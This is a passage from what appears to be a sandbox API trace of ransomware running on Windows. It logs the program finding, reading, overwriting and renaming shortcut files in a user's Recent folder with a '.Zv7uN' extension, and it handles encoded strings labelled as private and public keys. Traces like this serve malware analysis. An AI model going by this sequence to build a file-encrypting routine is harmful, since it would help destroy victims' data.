"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.092] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x303, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x303, lpOverlapped=0x0) returned 1 [0083.094] CloseHandle (hObject=0x124) returned 1 [0083.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Roaming.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\roaming.lnk.zv7un")) returned 1 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] GetCurrentThreadId () returned 0xa30 [0083.098] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f073c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f073c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f073c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="rP4-P8Y7mjkrVJvfpO.lnk", cAlternateFileName="RP4-P8~1.LNK")) returned 1 [0083.098] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.098] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.098] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f073c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1f073c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1f073c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x41a)) returned 1 [0083.098] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk")) returned 0x20 [0083.098] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk", dwFileAttributes=0x80) returned 1 [0083.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0083.101] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0083.102] GetCurrentThreadId () returned 0xa30 [0083.102] GetCurrentThreadId () returned 0xa30 [0083.102] GetCurrentThreadId () returned 0xa30 [0083.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0083.102] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0083.103] GetCurrentThreadId () returned 0xa30 [0083.103] GetCurrentThreadId () returned 0xa30 [0083.103] GetCurrentThreadId () returned 0xa30 [0083.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.103] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0083.103] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.103] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x41a [0083.103] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0083.103] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x41a, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x41a, lpOverlapped=0x0) returned 1 [0083.105] CloseHandle (hObject=0x124) returned 1 [0083.105] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0083.107] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x41a, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x41a, lpOverlapped=0x0) returned 1 [0083.109] CloseHandle (hObject=0x124) returned 1 [0083.110] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\rP4-P8Y7mjkrVJvfpO.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rp4-p8y7mjkrvjvfpo.lnk.zv7un")) returned 1 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] GetCurrentThreadId () returned 0xa30 [0083.112] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1cf2080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1cf2080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1d181e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f6, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="RQwQADR.lnk", cAlternateFileName="")) returned 1 [0083.112] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0083.112] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0083.112] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1cf2080, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1cf2080, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1d181e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x9f6)) returned 1 [0083.112] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\rqwqadr.lnk")) returned 0x20 [0083.112] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\RQwQADR.lnk", dwFileAttributes=0x80) returned 1 [0083.115] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 